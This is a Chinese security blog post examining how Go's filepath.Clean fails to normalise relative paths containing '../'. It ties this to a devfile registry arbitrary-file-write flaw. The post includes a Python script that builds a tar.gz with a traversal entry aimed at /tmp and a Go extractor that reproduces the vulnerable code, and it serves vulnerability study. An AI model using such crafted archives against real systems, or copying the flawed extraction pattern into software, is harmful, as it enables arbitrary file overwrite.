golang filepath.Clean目录遍历的代码特性

前言:分析gitlab的devfile任意文件写入漏洞中看到的,这边进行记录该filepath.Clean函数的特性

参考文章:https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115

filepath.Clean

运行下面的代码,存在目录遍历的情况下,绝对路径和相对路径的不同处理,如下图所示

path_test.go

package main
import (
"fmt"
"path/filepath"
"testing"
)
func TestDemo1(*testing.T) {
a := filepath.Clean("../../../../tmp/a/b/c/d/e")
fmt.Println(a)
b := filepath.Clean("/../../../../tmp/a/b/c/d/e")
fmt.Println(b)
}
  • 当filepath.Clean处理绝对路径的时候,存在目录遍历的路径进行归一化处理

  • 当filepath.Clean处理相对路径的时候,存在目录遍历的路径不会进行归一化处理

案例

参考文章:https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115

由于filepath.Clean在对绝对路径和相对路径处理目录遍历的情况不同,这边如果碰到在解压情景下就会出现问题。比如解压目的变量通过filepath.Clean处理,但是该变量字符串如果通过相对路径进行指定路径解压的话,那么就会绕过filepath.Clean的归一化处理,并且进行目录遍历将其目的文件解压到任意的目录。

这边通过python来生成tar压缩包来进行测试,这边的话mock一个存在目录遍历的文件名称../../../../../../tmp/poc.demo,如下图所示

generate_tar.py

import tarfile
import io
# 创建一个BytesIO对象来代表1.txt的内容
file_content = io.BytesIO(b"123456")
# 文件名和内容
file_name = "../../../../../../tmp/poc.demo"
# 目标.tar.gz文件名
tar_name = "example.tar.gz"
with tarfile.open(tar_name, "w:gz") as tar:
# 创建一个TarInfo对象,它包含了添加到tar文件中的文件信息
info = tarfile.TarInfo(name=file_name)
info.size = len(file_content.getvalue())
# 把"file_content"作为一个文件添加到tar文件里
file_content.seek(0) # 移动到流的开始位置
tar.addfile(tarinfo=info, fileobj=file_content)
print(f"{tar_name} has been created successfully.")

这边的话就通过main.go来进行模拟解压测试,可以看到通过相对路径的方式成功的目录跳跃到/tmp/路径中,如下图所示

main.go

package main
import (
"archive/tar"
"compress/gzip"
"fmt"
"io"
"log"
"os"
"path"
"path/filepath"
)
const (
// Supported Devfile media types
DevfileMediaType = "application/vnd.devfileio.devfile.layer.v1"
DevfileVSXMediaType = "application/vnd.devfileio.vsx.layer.v1.tar"
DevfileSVGLogoMediaType = "image/svg+xml"
DevfilePNGLogoMediaType = "image/png"
DevfileArchiveMediaType = "application/x-tar"
OwnersFile = "OWNERS"
)
var (
DevfileMediaTypeList = []string{DevfileMediaType}
DevfileAllMediaTypesList = []string{DevfileMediaType, DevfilePNGLogoMediaType, DevfileSVGLogoMediaType, DevfileVSXMediaType, DevfileArchiveMediaType}
ExcludedFiles = []string{OwnersFile}
)
func isExcluded(name string, excludeFiles []string) bool {
basename := filepath.Base(name)
for _, excludeFile := range excludeFiles {
if basename == excludeFile {
return true
}
}
return false
}
// decompress extracts the archive file
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
var returnedErr error
reader, err := os.Open(filepath.Clean(tarFile))
if err != nil {
return err
}
gzReader, err := gzip.NewReader(reader)
if err != nil {
return returnedErr
}
tarReader := tar.NewReader(gzReader)
for {
header, err := tarReader.Next()
if err == io.EOF {
break
} else if err != nil {
return returnedErr
}
if isExcluded(header.Name, excludeFiles) {
continue
}
target := path.Join(targetDir, filepath.Clean(header.Name))
switch header.Typeflag {
case tar.TypeDir:
err = os.MkdirAll(target, os.FileMode(header.Mode))
if err != nil {
return returnedErr
}
case tar.TypeReg:
/* #nosec G304 -- target is produced using path.Join which cleans the dir path */
w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
return returnedErr
}
/* #nosec G110 -- starter projects are vetted before they are added to a registry. Their contents can be seen before they are downloaded */
_, err = io.Copy(w, tarReader)
if err != nil {
return returnedErr
}
err = w.Close()
if err != nil {
return returnedErr
}
default:
log.Printf("Unsupported type: %v", header.Typeflag)
}
}
return nil
}
// main
// @Description: 测试
func main() {
targetDir := "/Users/xxxx/study-something/golang/filepathClean/tarGzDir"
tarFile := "example.tar.gz"
demo1 := decompress(targetDir, tarFile, ExcludedFiles)
}

posted @   zpchcbd  阅读(144)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示